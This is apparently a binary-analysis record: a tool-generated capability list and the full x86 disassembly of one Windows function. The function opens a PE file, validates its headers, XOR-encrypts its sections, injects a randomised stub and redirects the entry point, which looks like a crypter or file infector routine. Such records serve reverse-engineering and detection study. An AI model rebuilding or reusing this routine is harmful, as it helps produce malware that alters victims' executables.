Function at 0x401fd4
Capabilities:
Encrypt data using rc4 ksa
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov dword [0x405c40], ebx
call sub.KERNEL32.DLL_GetTickCount
mov edi, eax
movzx edi, di
and edi, 0xffff
push edi
call sub.CRTDLL.DLL_srand
pop ecx
mov edi, dword [0x406308]
add edi, 0x7c
mov edx, dword [0x4062d0]
shl edx, 9
add edi, edx
mov dword [0x4059e0], edi
push 0
push pe_nt_image_headers32
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov dword [0x4062f4], eax
cmp eax, 0xffffffff
jne 0x402049
call fcn.00401d4b
jmp 0x4029cb
push 0
push dword [0x4062f4]
call sub.KERNEL32.DLL_GetFileSize
mov dword [0x4062fc], eax
or eax, eax
jne 0x402069
call fcn.00401d4b
jmp 0x4029cb
mov eax, dword [0x4062fc]
mov dword [0x406300], eax
mov eax, dword [0x4059e0]
add dword [0x406300], eax
mov eax, dword [0x406300]
add eax, 0x1000
push eax
call sub.CRTDLL.DLL_malloc
pop ecx
mov dword [0x4062f8], eax
or eax, eax
jne 0x4020ad
mov eax, dword [0x4059e0]
sub dword [0x406300], eax
call fcn.00401d4b
jmp 0x4029cb
push dword [0x406300]
push 0
push dword [0x4062f8]
call sub.CRTDLL.DLL_memset
add esp, 0xc
push 0
push 0x406304
push dword [0x4062fc]
push dword [0x4062f8]
push dword [0x4062f4]
call sub.KERNEL32.DLL_ReadFile
or eax, eax
jne 0x4020fa
mov eax, dword [0x4059e0]
sub dword [0x406300], eax
call fcn.00401d4b
jmp 0x4029cb
cmp dword [0x4062cc], 1
jne 0x40219b
push 0x100
call sub.CRTDLL.DLL_malloc
mov dword [ebp - 0x40], eax
push dword [ebp + 8]
push eax
call fcn.00403ed8
push str..bak
push dword [ebp - 0x40]
call sub.CRTDLL.DLL_strcat
push 0
push pe_nt_image_headers32
push 2
push 0
push 2
push 0x40000000
push dword [ebp - 0x40]
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x3c], eax
push 0
push 0
push 0
push eax
call sub.KERNEL32.DLL_SetFilePointer
push 0
push 0x406304
push dword [0x4062fc]
push dword [0x4062f8]
push dword [ebp - 0x3c]
call sub.KERNEL32.DLL_WriteFile
push 0
push 0
push dword [0x4062fc]
push dword [ebp - 0x3c]
call sub.KERNEL32.DLL_SetFilePointer
push dword [ebp - 0x3c]
call sub.KERNEL32.DLL_SetEndOfFile
push dword [ebp - 0x3c]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x40]
call sub.CRTDLL.DLL_free
add esp, 0x10
mov eax, dword [0x4062f8]
mov dword [ebp - 0x20], eax
cmp byte [eax], 0x4d
jne 0x4021ae
cmp byte [eax + 1], 0x5a
je 0x4021c3
mov eax, dword [0x4059e0]
sub dword [0x406300], eax
call fcn.00401d4b
jmp 0x4029cb
mov eax, dword [0x4062f8]
mov dword [ebp - 0x28], eax
cmp dword [eax + 0x3c], 0x1000
jne 0x4021e9
mov eax, dword [0x4059e0]
sub dword [0x406300], eax
call fcn.00401d4b
jmp 0x4029cb
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x3c]
add eax, dword [0x4062f8]
mov dword [ebp - 0x14], eax
push 0x407a71
push eax
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x40221f
mov eax, dword [0x4059e0]
sub dword [0x406300], eax
call fcn.00401d4b
jmp 0x4029cb
mov eax, dword [0x4059e0]
add eax, 0x200
push eax
call sub.CRTDLL.DLL_malloc
pop ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 6]
mov dword [0x405954], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x38]
mov dword [0x405b94], ecx
mov edx, dword [eax + 0x3c]
mov dword [0x405950], edx
mov eax, dword [eax + 0x50]
mov dword [0x405cc0], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x2c]
mov dword [0x405bb4], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x30]
mov dword [0x405cb4], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x28]
mov dword [0x405cbc], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
mov dword [0x405cb8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x80]
mov dword [0x405bc8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x84]
mov dword [0x405c38], eax
mov eax, dword [ebp - 0x14]
and dword [eax + 0xa0], 0
and dword [eax + 0xa4], 0
mov eax, dword [0x405cb8]
add eax, dword [0x405bb4]
mov dword [0x406304], eax
mov dword [0x40637d], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x3c]
mov edx, dword [0x4062f8]
lea eax, [eax + edx + 0xf8]
mov dword [ebp - 0x20], eax
mov eax, dword [0x405954]
mov dword [0x406304], eax
dec dword [0x406304]
mov eax, 0x28
mul dword [0x406304]
mov dword [ebp - 0x3c], eax
mov dword [0x406304], eax
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov edx, dword [eax + 8]
mov dword [0x405800], edx
add eax, 0x10
mov edx, dword [0x4059e0]
add dword [eax], edx
mov eax, dword [ebp - 0x1c]
add eax, 8
mov edx, dword [0x4059e0]
add dword [eax], edx
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax + 0xc]
add edx, dword [eax + 8]
mov eax, dword [ebp - 0x14]
cmp edx, dword [eax + 0x50]
jbe 0x402383
mov eax, dword [eax + 0x50]
add eax, dword [0x4059e0]
mov dword [0x406304], eax
xor edx, edx
div ecx
mov dword [ebp - 0x40], eax
mov dword [0x406304], eax
inc dword [0x406304]
mov eax, dword [0x406304]
mul dword [0x405b94]
mov dword [ebp - 0x44], eax
mov dword [0x406304], eax
mov dword [0x405cc0], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [0x405cc0]
mov dword [eax + 0x50], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x3c]
mov edx, dword [0x4062f8]
lea eax, [eax + edx + 0xf8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x3c]
lea eax, [eax + edx + 0xf8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x3c]
lea eax, [eax + edx + 0xf8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [0x405bb4]
cmp dword [eax + 0xc], edx
ja 0x4023dd
jmp 0x4023cd
add dword [ebp - 0xc], 0x28
mov eax, dword [ebp - 0xc]
mov edx, dword [0x405bb4]
cmp dword [eax + 0xc], edx
jne 0x4023c9
jmp 0x4023e7
mov dword [0x40630c], 1
mov eax, dword [ebp - 0xc]
or dword [eax + 0x24], 0x80000000
mov eax, dword [ebp - 0x10]
mov edx, dword [0x405cb4]
cmp dword [eax + 0xc], edx
ja 0x402415
jmp 0x402405
add dword [ebp - 0x10], 0x28
mov eax, dword [ebp - 0x10]
mov edx, dword [0x405cb4]
cmp dword [eax + 0xc], edx
jne 0x402401
jmp 0x40241f
mov dword [0x40630c], 2
mov eax, dword [ebp - 0x10]
add eax, 0x24
or dword [eax], 0x80000000
jmp 0x402431
add dword [ebp - 8], 0x28
mov eax, dword [0x405bc8]
mov edx, dword [ebp - 8]
mov ecx, dword [edx + 0xc]
cmp eax, ecx
jb 0x40242d
add ecx, dword [edx + 8]
cmp eax, ecx
ja 0x40242d
mov eax, edx
or dword [eax + 0x24], 0x80000000
mov eax, edx
mov edx, dword [eax + 0x14]
mov ecx, dword [0x405bc8]
sub ecx, dword [eax + 0xc]
mov eax, edx
add eax, ecx
mov dword [0x405c3c], eax
add eax, dword [0x4062f8]
mov dword [ebp - 0x30], eax
mov ecx, dword [0x405bc8]
sub ecx, dword [0x405c3c]
mov dword [0x406304], ecx
mov eax, dword [eax]
mov dword [0x40699a], eax
mov eax, dword [0x405cb8]
mov dword [0x40699e], eax
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + 0x10]
mov dword [0x4069a6], edx
mov dword [0x4069aa], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xc]
add eax, dword [0x405800]
add eax, dword [0x4059e0]
sub eax, 0x89
add dword [0x406a64], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
mov dword [0x405b88], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x10]
mov dword [0x405bbc], eax
cmp dword [0x405b88], 0
jne 0x4024ea
mov dword [0x40630c], 1
cmp dword [0x405bbc], 0
jne 0x4024fd
mov dword [0x40630c], 2
mov eax, dword [0x405bc8]
mov edx, dword [ebp - 0xc]
mov ecx, dword [edx + 0xc]
cmp eax, ecx
jb 0x40251d
add ecx, dword [edx + 8]
cmp eax, ecx
jae 0x40251d
mov dword [0x40630c], 1
mov eax, dword [0x405bc8]
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx + 0xc]
cmp eax, ecx
jb 0x40253d
add ecx, dword [edx + 8]
cmp eax, ecx
jae 0x40253d
mov dword [0x40630c], 2
mov edi, dword [0x405b88]
shr edi, 2
mov dword [0x406384], edi
mov eax, dword [0x405b80]
mov dword [0x406389], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
add eax, dword [0x4062f8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
add eax, dword [0x4062f8]
mov dword [ebp - 0x2c], eax
cmp dword [0x40630c], 1
je 0x4025b1
and dword [0x406304], 0
jmp 0x4025a0
mov edi, dword [0x406304]
shl edi, 2
add edi, dword [ebp - 0x18]
mov edx, dword [0x405b80]
xor dword [edi], edx
inc dword [0x406304]
mov edi, dword [0x405b88]
shr edi, 2
cmp dword [0x406304], edi
jb 0x402586
cmp dword [0x40630c], 2
je 0x4025ee
and dword [0x406304], 0
jmp 0x4025dd
mov edi, dword [0x406304]
shl edi, 2
add edi, dword [ebp - 0x2c]
mov edx, dword [0x405b80]
xor dword [edi], edx
inc dword [0x406304]
mov edi, dword [0x405bbc]
shr edi, 2
cmp dword [0x406304], edi
jb 0x4025c3
mov eax, dword [0x405cb8]
mov edx, dword [ebp - 0xc]
add eax, dword [edx + 0xc]
mov dword [0x40633a], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [0x40633f], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 4]
mov dword [0x406346], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 8]
mov dword [0x40634e], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0xc]
mov dword [0x406356], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10]
mov dword [0x40635e], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x14]
mov dword [0x406366], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x18]
mov dword [0x40636e], eax
call sub.CRTDLL.DLL_rand
mov ecx, 6
cdq
idiv ecx
mov edi, edx
shl edi, 2
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xc]
add eax, dword [0x405800]
mov dword [0x406304], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
add eax, 5
add eax, edi
sub dword [0x406304], eax
movzx eax, word [0x405b80]
and eax, 0xffff
push eax
call sub.CRTDLL.DLL_srand
pop ecx
call sub.CRTDLL.DLL_rand
mov ecx, 5
cdq
idiv ecx
mov ebx, edx
cmp ebx, 2
jae 0x4026db
mov edi, dword [0x406304]
mov dword [ebx*8 + 0x406311], edi
mov esi, 5
call sub.CRTDLL.DLL_rand
mov edi, ebx
shl edi, 3
mov ecx, 0xff
cdq
idiv ecx
mov byte [esi + edi + 0x406310], dl
inc esi
cmp esi, 8
jb 0x4026ba
jmp 0x402708
mov edi, dword [ebp - 0x1c]
mov edi, dword [edi + 0xc]
add edi, dword [0x405800]
add edi, dword [0x405cb8]
mov dword [ebx*8 + 0x406311], edi
call sub.CRTDLL.DLL_rand
mov ecx, 0xff
cdq
idiv ecx
mov byte [ebx*8 + 0x406317], dl
cmp ebx, 2
jb 0x40271f
push 7
lea edi, [ebx*8 + 0x406310]
push edi
call fcn.004018fa
add esp, 8
cmp dword [0x4062ec], 0
je 0x402741
push dword [ebp - 0x24]
call fcn.00401498
push dword [ebp - 0x24]
push eax
push dword [ebp - 0x18]
call sub.CRTDLL.DLL_memcpy
add esp, 0x10
jmp 0x402758
push dword [ebp - 0x24]
call fcn.00401250
push dword [ebp - 0x24]
push eax
push dword [ebp - 0x18]
call sub.CRTDLL.DLL_memcpy
add esp, 0x10
mov edi, dword [ebp - 0x24]
shr edi, 2
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebx*8 + 0x406310]
mov dword [edx + edi*4], ecx
mov edi, dword [ebp - 0x24]
shr edi, 2
inc edi
mov ecx, dword [ebx*8 + 0x406314]
mov dword [edx + edi*4], ecx
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov edx, dword [edx + 0xc]
mov dword [eax + 0x28], edx
mov eax, dword [ebp - 0x1c]
or dword [eax + 0x24], 0x80000000
or dword [eax + 0x24], 0x20000000
mov eax, dword [eax + 0xc]
add eax, dword [0x405800]
mov dword [0x406304], eax
mov edx, dword [0x405cb8]
add edx, eax
mov dword [0x405bb0], edx
mov eax, dword [0x405cb8]
add eax, dword [0x405cbc]
mov dword [0x406304], eax
xor ebx, ebx
mov edi, ebx
shl edi, 9
mov edx, dword [0x406304]
mov dword [edi + entry0], edx
inc ebx
cmp ebx, 3
jb 0x4027c7
mov eax, dword [0x405800]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx + 0x14]
add edx, dword [0x4062f8]
add eax, edx
mov dword [ebp - 0x20], eax
xor ebx, ebx
mov esi, ebx
mov esi, ebx
mov eax, dword [ebp - 4]
mov dl, byte [esi + 0x406338]
mov byte [eax + ebx], dl
inc esi
inc ebx
cmp esi, 0x3e
jb 0x4027fb
cmp dword [0x4062d4], 1
jne 0x402831
xor esi, esi
mov eax, dword [ebp - 4]
mov dl, byte [esi + 0x406aed]
mov byte [eax + ebx], dl
inc esi
inc ebx
cmp esi, 0xa6
jb 0x40281a
call sub.CRTDLL.DLL_rand
mov edx, eax
and edx, 0x800000ff
jge 0x402848
dec edx
or edx, 0xffffff00
inc edx
mov byte [0x406378], dl
call sub.CRTDLL.DLL_rand
mov edx, eax
and edx, 0x800000ff
jge 0x402865
dec edx
or edx, 0xffffff00
inc edx
mov byte [0x406379], dl
cmp dword [0x40630c], 1
je 0x40288f
mov esi, 0
mov eax, dword [ebp - 4]
mov dl, byte [esi + 0x406376]
mov byte [eax + ebx], dl
inc esi
inc ebx
cmp esi, 0x1f
jb 0x402879
jmp 0x402896
sub dword [0x4059e0], 0x1f
mov eax, dword [0x405cb8]
add eax, dword [0x405cb4]
mov dword [0x40637d], eax
mov edi, dword [0x405bbc]
shr edi, 2
mov dword [0x406384], edi
mov eax, dword [0x405b80]
mov dword [0x406389], eax
cmp dword [0x40630c], 2
je 0x4028e0
xor esi, esi
mov eax, dword [ebp - 4]
mov dl, byte [esi + 0x406376]
mov byte [eax + ebx], dl
inc esi
inc ebx
cmp esi, 0x1f
jb 0x4028ca
jmp 0x4028e7
sub dword [0x4059e0], 0x1f
push 0x1fc
push 7
mov eax, dword [0x405b80]
mov ecx, 3
xor edx, edx
div ecx
mov edi, edx
shl edi, 9
lea edi, [edi + 0x406395]
push edi
call fcn.00401776
add esp, 0xc
xor esi, esi
jmp 0x402935
mov edi, dword [ebp - 4]
mov eax, dword [0x405b80]
mov ecx, 3
xor edx, edx
div ecx
shl edx, 9
mov dl, byte [esi + edx + 0x406395]
mov byte [edi + ebx], dl
inc esi
inc ebx
cmp esi, dword [0x406308]
jb 0x402915
jmp 0x40295f
call sub.CRTDLL.DLL_rand
mov edi, dword [ebp - 4]
mov edx, eax
and edx, 0x800000ff
jge 0x402959
dec edx
or edx, 0xffffff00
inc edx
mov byte [edi + ebx], dl
add ebx, 1
mov eax, dword [0x4059e0]
add eax, 0x200
cmp ebx, eax
jb 0x40293f
mov esi, dword [0x4062d0]
jmp 0x40298f
mov edi, dword [0x4059e0]
mov ebx, esi
shl ebx, 9
sub edi, ebx
push edi
push dword [ebp - 4]
call fcn.004019d5
add esp, 8
dec esi
or esi, esi
jne 0x402975
mov eax, dword [0x4059e0]
add eax, 0x200
push eax
push dword [ebp - 4]
push dword [ebp - 0x20]
call sub.CRTDLL.DLL_memcpy
push dword [ebp - 4]
call sub.CRTDLL.DLL_free
call fcn.00401d4b
mov dword [0x405c40], 1
push dword [ebp + 8]
call fcn.00401dc4
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret